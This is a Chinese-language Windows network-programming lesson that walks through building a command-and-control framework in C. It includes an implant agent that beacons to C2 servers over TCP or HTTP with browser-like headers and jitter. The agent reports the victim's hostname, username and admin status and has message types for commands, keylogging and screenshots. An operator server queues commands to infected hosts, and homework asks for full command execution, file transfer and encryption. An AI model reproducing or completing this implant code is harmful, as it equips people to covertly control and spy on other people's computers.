Windows网络编程

15、阶段合集

1、课程目标

  1. 综合运用Windows网络编程技术
  2. 实现完整的C2框架网络通信模块
  3. 掌握多协议支持和负载均衡
  4. 理解企业级网络服务器架构

2、名词解释

名词 全称 解释
C2 Framework Command & Control Framework 命令与控制框架
Multi-Protocol 多协议 支持多种通信协议
Load Balancer 负载均衡器 分发连接请求
Protocol Handler 协议处理器 处理特定协议的模块
Connection Pool 连接池 复用网络连接
Heartbeat 心跳 保活机制
Beacon 信标 定时回连的Agent模式

3、使用工具

  • Visual Studio 2022
  • Wireshark
  • Postman(HTTP测试)
  • ngrok(内网穿透测试)

4、技术原理

4.1、C2网络架构

                        Internet
                            |
    +---------------------------------------------------+
    |                    C2 Server                       |
    |                                                    |
    |  +-----------+  +-----------+  +-----------+      |
    |  |  HTTP/S   |  |   TCP     |  |   DNS     |      |
    |  | Listener  |  | Listener  |  | Listener  |      |
    |  +-----------+  +-----------+  +-----------+      |
    |        |              |              |             |
    |        +------+-------+------+-------+             |
    |               |              |                     |
    |         +-----+-----+  +-----+-----+              |
    |         | Protocol  |  | Protocol  |              |
    |         |  Router   |  |  Handler  |              |
    |         +-----------+  +-----------+              |
    |               |                                    |
    |         +-----+-----+                              |
    |         |   Agent   |                              |
    |         |  Manager  |                              |
    |         +-----------+                              |
    |               |                                    |
    |    +----------+-----------+                        |
    |    |          |           |                        |
    | [Agent 1] [Agent 2] [Agent 3]                     |
    +---------------------------------------------------+

5、代码实现

5.1、通用协议接口

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

// 协议类型
typedef enum _PROTOCOL_TYPE {
    PROTO_TCP,
    PROTO_HTTP,
    PROTO_HTTPS,
    PROTO_DNS,
    PROTO_ICMP
} PROTOCOL_TYPE;

// 消息类型
typedef enum _MSG_TYPE {
    MSG_CHECKIN = 1,
    MSG_HEARTBEAT,
    MSG_COMMAND,
    MSG_RESULT,
    MSG_FILE_UPLOAD,
    MSG_FILE_DOWNLOAD,
    MSG_SCREENSHOT,
    MSG_KEYLOG,
    MSG_EXIT
} MSG_TYPE;

// 消息头
#pragma pack(push, 1)
typedef struct _C2_MSG_HEADER {
    DWORD   Magic;          // 0xC2C2C2C2
    DWORD   SessionId;      // 会话ID
    DWORD   Type;           // 消息类型
    DWORD   Length;         // 数据长度
    DWORD   Sequence;       // 序列号
    DWORD   Checksum;       // 校验和
} C2_MSG_HEADER;
#pragma pack(pop)

// 协议处理器接口
typedef struct _PROTOCOL_HANDLER {
    PROTOCOL_TYPE   type;
    const char*     name;
    
    // 函数指针
    BOOL (*Initialize)(void* config);
    BOOL (*Connect)(const char* host, int port);
    BOOL (*Send)(void* data, DWORD length);
    BOOL (*Recv)(void* buffer, DWORD bufferSize, DWORD* bytesRecv);
    void (*Disconnect)(void);
    void (*Cleanup)(void);
} PROTOCOL_HANDLER;

// 计算校验和
DWORD CalculateChecksum(const void* data, DWORD length) {
    const BYTE* bytes = (const BYTE*)data;
    DWORD checksum = 0;
    
    for (DWORD i = 0; i < length; i++) {
        checksum = ((checksum << 5) + checksum) + bytes[i];
    }
    
    return checksum;
}

5.2、TCP协议处理器

// TCP协议上下文
typedef struct _TCP_CONTEXT {
    SOCKET  socket;
    char    host[256];
    int     port;
    BOOL    connected;
} TCP_CONTEXT;

TCP_CONTEXT g_TcpCtx = {0};

BOOL TcpInitialize(void* config) {
    WSADATA wsa;
    return (WSAStartup(MAKEWORD(2, 2), &wsa) == 0);
}

BOOL TcpConnect(const char* host, int port) {
    g_TcpCtx.socket = socket(AF_INET, SOCK_STREAM, 0);
    if (g_TcpCtx.socket == INVALID_SOCKET) {
        return FALSE;
    }
    
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_addr.s_addr = inet_addr(host);
    addr.sin_port = htons(port);
    
    if (connect(g_TcpCtx.socket, (struct sockaddr*)&addr, sizeof(addr)) != 0) {
        closesocket(g_TcpCtx.socket);
        return FALSE;
    }
    
    strcpy(g_TcpCtx.host, host);
    g_TcpCtx.port = port;
    g_TcpCtx.connected = TRUE;
    
    return TRUE;
}

BOOL TcpSend(void* data, DWORD length) {
    if (!g_TcpCtx.connected) return FALSE;
    
    // 发送长度前缀
    DWORD netLen = htonl(length);
    if (send(g_TcpCtx.socket, (char*)&netLen, 4, 0) != 4) {
        return FALSE;
    }
    
    // 发送数据
    DWORD sent = 0;
    while (sent < length) {
        int n = send(g_TcpCtx.socket, (char*)data + sent, length - sent, 0);
        if (n <= 0) return FALSE;
        sent += n;
    }
    
    return TRUE;
}

BOOL TcpRecv(void* buffer, DWORD bufferSize, DWORD* bytesRecv) {
    if (!g_TcpCtx.connected) return FALSE;
    
    // 接收长度前缀
    DWORD netLen;
    if (recv(g_TcpCtx.socket, (char*)&netLen, 4, 0) != 4) {
        return FALSE;
    }
    
    DWORD length = ntohl(netLen);
    if (length > bufferSize) {
        return FALSE;
    }
    
    // 接收数据
    DWORD received = 0;
    while (received < length) {
        int n = recv(g_TcpCtx.socket, (char*)buffer + received, 
                    length - received, 0);
        if (n <= 0) return FALSE;
        received += n;
    }
    
    *bytesRecv = received;
    return TRUE;
}

void TcpDisconnect(void) {
    if (g_TcpCtx.connected) {
        closesocket(g_TcpCtx.socket);
        g_TcpCtx.connected = FALSE;
    }
}

void TcpCleanup(void) {
    TcpDisconnect();
    WSACleanup();
}

PROTOCOL_HANDLER g_TcpHandler = {
    .type = PROTO_TCP,
    .name = "TCP",
    .Initialize = TcpInitialize,
    .Connect = TcpConnect,
    .Send = TcpSend,
    .Recv = TcpRecv,
    .Disconnect = TcpDisconnect,
    .Cleanup = TcpCleanup
};

5.3、HTTP协议处理器

#include <wininet.h>
#pragma comment(lib, "wininet.lib")

// HTTP协议上下文
typedef struct _HTTP_CONTEXT {
    HINTERNET   hInternet;
    HINTERNET   hConnect;
    char        host[256];
    int         port;
    char        userAgent[256];
    BOOL        useHttps;
} HTTP_CONTEXT;

HTTP_CONTEXT g_HttpCtx = {0};

BOOL HttpInitialize(void* config) {
    strcpy(g_HttpCtx.userAgent, 
           "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
    
    g_HttpCtx.hInternet = InternetOpenA(
        g_HttpCtx.userAgent,
        INTERNET_OPEN_TYPE_DIRECT,
        NULL, NULL, 0
    );
    
    return (g_HttpCtx.hInternet != NULL);
}

BOOL HttpConnect(const char* host, int port) {
    strcpy(g_HttpCtx.host, host);
    g_HttpCtx.port = port;
    g_HttpCtx.useHttps = (port == 443);
    
    g_HttpCtx.hConnect = InternetConnectA(
        g_HttpCtx.hInternet,
        host,
        port,
        NULL, NULL,
        INTERNET_SERVICE_HTTP,
        0, 0
    );
    
    return (g_HttpCtx.hConnect != NULL);
}

BOOL HttpSend(void* data, DWORD length) {
    DWORD flags = INTERNET_FLAG_NO_CACHE_WRITE | 
                  INTERNET_FLAG_NO_UI |
                  INTERNET_FLAG_RELOAD;
    
    if (g_HttpCtx.useHttps) {
        flags |= INTERNET_FLAG_SECURE;
    }
    
    // 创建POST请求
    HINTERNET hRequest = HttpOpenRequestA(
        g_HttpCtx.hConnect,
        "POST",
        "/api/beacon",
        "HTTP/1.1",
        NULL,
        NULL,
        flags,
        0
    );
    
    if (!hRequest) {
        return FALSE;
    }
    
    // 设置头
    const char* headers = "Content-Type: application/octet-stream\r\n";
    
    // Base64编码数据(简化,实际应编码)
    BOOL result = HttpSendRequestA(
        hRequest,
        headers, -1,
        data, length
    );
    
    InternetCloseHandle(hRequest);
    
    return result;
}

BOOL HttpRecv(void* buffer, DWORD bufferSize, DWORD* bytesRecv) {
    DWORD flags = INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_RELOAD;
    
    if (g_HttpCtx.useHttps) {
        flags |= INTERNET_FLAG_SECURE;
    }
    
    HINTERNET hRequest = HttpOpenRequestA(
        g_HttpCtx.hConnect,
        "GET",
        "/api/tasks",
        "HTTP/1.1",
        NULL,
        NULL,
        flags,
        0
    );
    
    if (!hRequest) {
        return FALSE;
    }
    
    if (!HttpSendRequestA(hRequest, NULL, 0, NULL, 0)) {
        InternetCloseHandle(hRequest);
        return FALSE;
    }
    
    DWORD totalRead = 0;
    DWORD read;
    
    while (InternetReadFile(hRequest, 
                           (char*)buffer + totalRead,
                           bufferSize - totalRead,
                           &read) && read > 0) {
        totalRead += read;
    }
    
    *bytesRecv = totalRead;
    InternetCloseHandle(hRequest);
    
    return (totalRead > 0);
}

void HttpDisconnect(void) {
    if (g_HttpCtx.hConnect) {
        InternetCloseHandle(g_HttpCtx.hConnect);
        g_HttpCtx.hConnect = NULL;
    }
}

void HttpCleanup(void) {
    HttpDisconnect();
    if (g_HttpCtx.hInternet) {
        InternetCloseHandle(g_HttpCtx.hInternet);
        g_HttpCtx.hInternet = NULL;
    }
}

PROTOCOL_HANDLER g_HttpHandler = {
    .type = PROTO_HTTP,
    .name = "HTTP",
    .Initialize = HttpInitialize,
    .Connect = HttpConnect,
    .Send = HttpSend,
    .Recv = HttpRecv,
    .Disconnect = HttpDisconnect,
    .Cleanup = HttpCleanup
};

5.4、多协议Agent

// Agent配置
typedef struct _AGENT_CONFIG {
    char            c2Servers[5][256];      // C2服务器列表
    int             c2Ports[5];
    PROTOCOL_TYPE   protocols[5];
    int             serverCount;
    
    DWORD           beaconInterval;         // 心跳间隔
    DWORD           jitter;                 // 抖动百分比
    int             maxRetries;             // 最大重试次数
} AGENT_CONFIG;

// Agent上下文
typedef struct _AGENT_CONTEXT {
    AGENT_CONFIG        config;
    PROTOCOL_HANDLER*   currentHandler;
    int                 currentServer;
    DWORD               sessionId;
    DWORD               sequence;
    BOOL                running;
    
    // 缓冲区
    char                sendBuffer[65536];
    char                recvBuffer[65536];
} AGENT_CONTEXT;

AGENT_CONTEXT g_Agent = {0};

// 协议处理器注册表
PROTOCOL_HANDLER* g_Handlers[] = {
    &g_TcpHandler,
    &g_HttpHandler,
    // 可以添加更多协议处理器
    NULL
};

// 获取协议处理器
PROTOCOL_HANDLER* GetProtocolHandler(PROTOCOL_TYPE type) {
    for (int i = 0; g_Handlers[i] != NULL; i++) {
        if (g_Handlers[i]->type == type) {
            return g_Handlers[i];
        }
    }
    return NULL;
}

// 连接C2服务器
BOOL AgentConnect(void) {
    for (int i = 0; i < g_Agent.config.serverCount; i++) {
        int idx = (g_Agent.currentServer + i) % g_Agent.config.serverCount;
        
        PROTOCOL_HANDLER* handler = GetProtocolHandler(
            g_Agent.config.protocols[idx]
        );
        
        if (!handler) continue;
        
        if (!handler->Initialize(NULL)) continue;
        
        if (handler->Connect(g_Agent.config.c2Servers[idx],
                            g_Agent.config.c2Ports[idx])) {
            g_Agent.currentHandler = handler;
            g_Agent.currentServer = idx;
            
            printf("[+] 已连接: %s://%s:%d\n",
                   handler->name,
                   g_Agent.config.c2Servers[idx],
                   g_Agent.config.c2Ports[idx]);
            
            return TRUE;
        }
        
        handler->Cleanup();
    }
    
    return FALSE;
}

// 发送消息
BOOL AgentSendMessage(DWORD type, void* data, DWORD dataLen) {
    if (!g_Agent.currentHandler) return FALSE;
    
    C2_MSG_HEADER* header = (C2_MSG_HEADER*)g_Agent.sendBuffer;
    header->Magic = 0xC2C2C2C2;
    header->SessionId = g_Agent.sessionId;
    header->Type = type;
    header->Length = dataLen;
    header->Sequence = ++g_Agent.sequence;
    
    if (data && dataLen > 0) {
        memcpy(g_Agent.sendBuffer + sizeof(C2_MSG_HEADER), data, dataLen);
    }
    
    DWORD totalLen = sizeof(C2_MSG_HEADER) + dataLen;
    header->Checksum = CalculateChecksum(
        g_Agent.sendBuffer + sizeof(DWORD) * 2,  // 跳过Magic和SessionId
        totalLen - sizeof(DWORD) * 2
    );
    
    return g_Agent.currentHandler->Send(g_Agent.sendBuffer, totalLen);
}

// 接收消息
BOOL AgentRecvMessage(C2_MSG_HEADER** header, void** data) {
    if (!g_Agent.currentHandler) return FALSE;
    
    DWORD bytesRecv;
    if (!g_Agent.currentHandler->Recv(g_Agent.recvBuffer, 
                                      sizeof(g_Agent.recvBuffer),
                                      &bytesRecv)) {
        return FALSE;
    }
    
    if (bytesRecv < sizeof(C2_MSG_HEADER)) {
        return FALSE;
    }
    
    *header = (C2_MSG_HEADER*)g_Agent.recvBuffer;
    
    if ((*header)->Magic != 0xC2C2C2C2) {
        return FALSE;
    }
    
    *data = g_Agent.recvBuffer + sizeof(C2_MSG_HEADER);
    
    return TRUE;
}

// 处理命令
void ProcessCommand(C2_MSG_HEADER* header, void* data) {
    switch (header->Type) {
        case MSG_COMMAND: {
            // 执行命令
            char* cmd = (char*)data;
            printf("[CMD] %s\n", cmd);
            
            // 执行并获取结果
            char result[4096] = "Command executed";
            AgentSendMessage(MSG_RESULT, result, strlen(result));
            break;
        }
        
        case MSG_FILE_DOWNLOAD: {
            // 下载文件(C2发送文件给Agent)
            // ...
            break;
        }
        
        case MSG_FILE_UPLOAD: {
            // 上传文件请求
            // ...
            break;
        }
        
        case MSG_EXIT:
            g_Agent.running = FALSE;
            break;
    }
}

// Agent主循环
void AgentMainLoop(void) {
    g_Agent.running = TRUE;
    
    while (g_Agent.running) {
        // 连接C2
        if (!AgentConnect()) {
            Sleep(g_Agent.config.beaconInterval);
            continue;
        }
        
        // 发送Checkin
        CHECKIN_DATA checkin = {0};
        GetComputerNameA(checkin.hostname, &(DWORD){sizeof(checkin.hostname)});
        GetUserNameA(checkin.username, &(DWORD){sizeof(checkin.username)});
        checkin.pid = GetCurrentProcessId();
        checkin.isAdmin = IsUserAdmin();
        
        AgentSendMessage(MSG_CHECKIN, &checkin, sizeof(checkin));
        
        // 主通信循环
        int failCount = 0;
        
        while (g_Agent.running && failCount < g_Agent.config.maxRetries) {
            // 发送心跳
            AgentSendMessage(MSG_HEARTBEAT, NULL, 0);
            
            // 接收任务
            C2_MSG_HEADER* header;
            void* data;
            
            if (AgentRecvMessage(&header, &data)) {
                failCount = 0;
                ProcessCommand(header, data);
            } else {
                failCount++;
            }
            
            // 带抖动的睡眠
            DWORD jitter = g_Agent.config.beaconInterval * 
                          g_Agent.config.jitter / 100;
            DWORD sleepTime = g_Agent.config.beaconInterval + 
                             (rand() % (jitter * 2)) - jitter;
            Sleep(sleepTime);
        }
        
        // 断开连接
        g_Agent.currentHandler->Disconnect();
        g_Agent.currentHandler->Cleanup();
        g_Agent.currentHandler = NULL;
    }
}

5.5、IOCP C2服务器

// C2服务器完整实现
typedef struct _C2_SERVER_CONTEXT {
    // IOCP
    HANDLE              completionPort;
    SOCKET              tcpListener;
    SOCKET              httpListener;
    HANDLE              workerThreads[16];
    int                 threadCount;
    
    // Agent管理
    struct {
        PPER_HANDLE_DATA    handle;
        DWORD               sessionId;
        char                hostname[64];
        char                username[64];
        DWORD               pid;
        BOOL                isAdmin;
        DWORD               lastSeen;
    } agents[1024];
    int                 agentCount;
    CRITICAL_SECTION    agentLock;
    
    // 任务队列
    struct {
        DWORD       targetSession;
        DWORD       type;
        char        data[4096];
        DWORD       dataLen;
    } taskQueue[256];
    int             taskHead;
    int             taskTail;
    CRITICAL_SECTION taskLock;
    
    volatile BOOL   running;
} C2_SERVER_CONTEXT;

C2_SERVER_CONTEXT g_C2 = {0};

// 添加Agent
DWORD AddAgent(PPER_HANDLE_DATA handle, CHECKIN_DATA* checkin) {
    EnterCriticalSection(&g_C2.agentLock);
    
    DWORD sessionId = (DWORD)time(NULL) ^ GetTickCount();
    
    int idx = g_C2.agentCount++;
    g_C2.agents[idx].handle = handle;
    g_C2.agents[idx].sessionId = sessionId;
    strcpy(g_C2.agents[idx].hostname, checkin->hostname);
    strcpy(g_C2.agents[idx].username, checkin->username);
    g_C2.agents[idx].pid = checkin->pid;
    g_C2.agents[idx].isAdmin = checkin->isAdmin;
    g_C2.agents[idx].lastSeen = GetTickCount();
    
    LeaveCriticalSection(&g_C2.agentLock);
    
    printf("[+] Agent上线: %s\\%s (PID: %d, Admin: %s)\n",
           checkin->hostname, checkin->username,
           checkin->pid, checkin->isAdmin ? "Yes" : "No");
    
    return sessionId;
}

// 处理Agent消息
void HandleAgentMessage(PPER_HANDLE_DATA handle,
                        void* data, DWORD length) {
    C2_MSG_HEADER* header = (C2_MSG_HEADER*)data;
    void* payload = (char*)data + sizeof(C2_MSG_HEADER);
    
    // 验证消息
    if (header->Magic != 0xC2C2C2C2) {
        return;
    }
    
    switch (header->Type) {
        case MSG_CHECKIN: {
            DWORD sessionId = AddAgent(handle, (CHECKIN_DATA*)payload);
            
            // 发送会话ID
            C2_MSG_HEADER response = {0};
            response.Magic = 0xC2C2C2C2;
            response.Type = MSG_CHECKIN;
            response.SessionId = sessionId;
            
            PostSend(handle, &response, sizeof(response));
            break;
        }
        
        case MSG_HEARTBEAT:
            UpdateAgentLastSeen(header->SessionId);
            
            // 检查任务队列
            SendPendingTasks(handle, header->SessionId);
            break;
            
        case MSG_RESULT:
            printf("[Result] Session %08X:\n%s\n",
                   header->SessionId, (char*)payload);
            break;
    }
}

// 命令行界面
DWORD WINAPI ConsoleThread(LPVOID param) {
    char cmd[256];
    
    while (g_C2.running) {
        printf("C2> ");
        if (!fgets(cmd, sizeof(cmd), stdin)) break;
        
        // 去除换行
        cmd[strcspn(cmd, "\r\n")] = 0;
        
        if (strcmp(cmd, "list") == 0) {
            // 列出Agent
            EnterCriticalSection(&g_C2.agentLock);
            printf("\n%-10s %-20s %-20s %-8s %-5s\n",
                   "Session", "Hostname", "User", "PID", "Admin");
            printf("%s\n", "------------------------------------------------");
            
            for (int i = 0; i < g_C2.agentCount; i++) {
                printf("%08X   %-20s %-20s %-8d %-5s\n",
                       g_C2.agents[i].sessionId,
                       g_C2.agents[i].hostname,
                       g_C2.agents[i].username,
                       g_C2.agents[i].pid,
                       g_C2.agents[i].isAdmin ? "Yes" : "No");
            }
            LeaveCriticalSection(&g_C2.agentLock);
        }
        else if (strncmp(cmd, "use ", 4) == 0) {
            // 选择Agent
            DWORD session = strtoul(cmd + 4, NULL, 16);
            InteractWithAgent(session);
        }
        else if (strcmp(cmd, "exit") == 0) {
            g_C2.running = FALSE;
            break;
        }
    }
    
    return 0;
}

// 与Agent交互
void InteractWithAgent(DWORD sessionId) {
    char cmd[1024];
    
    printf("[*] Interacting with %08X (type 'back' to return)\n", sessionId);
    
    while (g_C2.running) {
        printf("%08X> ", sessionId);
        if (!fgets(cmd, sizeof(cmd), stdin)) break;
        
        cmd[strcspn(cmd, "\r\n")] = 0;
        
        if (strcmp(cmd, "back") == 0) {
            break;
        }
        
        if (strlen(cmd) > 0) {
            QueueTask(sessionId, MSG_COMMAND, cmd, strlen(cmd) + 1);
        }
    }
}

// 主函数
int main() {
    InitializeCriticalSection(&g_C2.agentLock);
    InitializeCriticalSection(&g_C2.taskLock);
    
    // 初始化IOCP
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    
    g_C2.completionPort = CreateIoCompletionPort(
        INVALID_HANDLE_VALUE, NULL, 0, 0
    );
    
    // 创建TCP监听器
    InitTcpListener(&g_C2, 4444);
    
    // 创建HTTP监听器
    InitHttpListener(&g_C2, 80);
    
    // 创建工作线程
    SYSTEM_INFO sysInfo;
    GetSystemInfo(&sysInfo);
    g_C2.threadCount = sysInfo.dwNumberOfProcessors * 2;
    
    for (int i = 0; i < g_C2.threadCount; i++) {
        g_C2.workerThreads[i] = CreateThread(
            NULL, 0, WorkerThread, &g_C2, 0, NULL
        );
    }
    
    g_C2.running = TRUE;
    
    printf("[+] C2 Server Started\n");
    printf("[+] TCP Listener: 0.0.0.0:4444\n");
    printf("[+] HTTP Listener: 0.0.0.0:80\n\n");
    
    // 启动控制台线程
    HANDLE consoleThread = CreateThread(
        NULL, 0, ConsoleThread, NULL, 0, NULL
    );
    
    // 等待退出
    WaitForSingleObject(consoleThread, INFINITE);
    
    // 清理
    for (int i = 0; i < g_C2.threadCount; i++) {
        PostQueuedCompletionStatus(g_C2.completionPort, 0, 0, NULL);
    }
    
    WaitForMultipleObjects(g_C2.threadCount, g_C2.workerThreads, 
                          TRUE, 5000);
    
    closesocket(g_C2.tcpListener);
    closesocket(g_C2.httpListener);
    CloseHandle(g_C2.completionPort);
    
    DeleteCriticalSection(&g_C2.agentLock);
    DeleteCriticalSection(&g_C2.taskLock);
    WSACleanup();
    
    return 0;
}

5.6、网络编程最佳实践总结

/*
=== Windows网络编程最佳实践 ===

1. I/O模型选择
   - 小规模(<100连接): select
   - GUI程序: WSAAsyncSelect
   - 中规模服务器: WSAEventSelect
   - 高性能服务器: IOCP

2. 缓冲区管理
   - 使用内存池减少分配开销
   - 预分配足够的缓冲区
   - 注意缓冲区溢出

3. 错误处理
   - 检查每个API返回值
   - 区分WSAEWOULDBLOCK和真正错误
   - 实现重试机制

4. 连接管理
   - 实现心跳保活
   - 检测断开连接
   - 优雅关闭(shutdown + closesocket)

5. 性能优化
   - 使用AcceptEx预接受连接
   - 使用TransmitFile零拷贝传输
   - 合理设置缓冲区大小
   - 减少系统调用次数

6. 安全考虑
   - 验证所有输入数据
   - 使用TLS/SSL加密
   - 实现认证机制
   - 防止DoS攻击
*/

6、课后作业

  1. 实现完整C2框架

    • 支持TCP/HTTP双协议
    • 实现Agent管理界面
    • 支持文件上传下载
    • 实现命令执行功能
  2. 添加加密通信

    • 实现AES加密传输
    • 实现密钥协商
    • 添加消息认证
  3. 实现负载均衡

    • 多Listener支持
    • 智能协议切换
    • 故障自动转移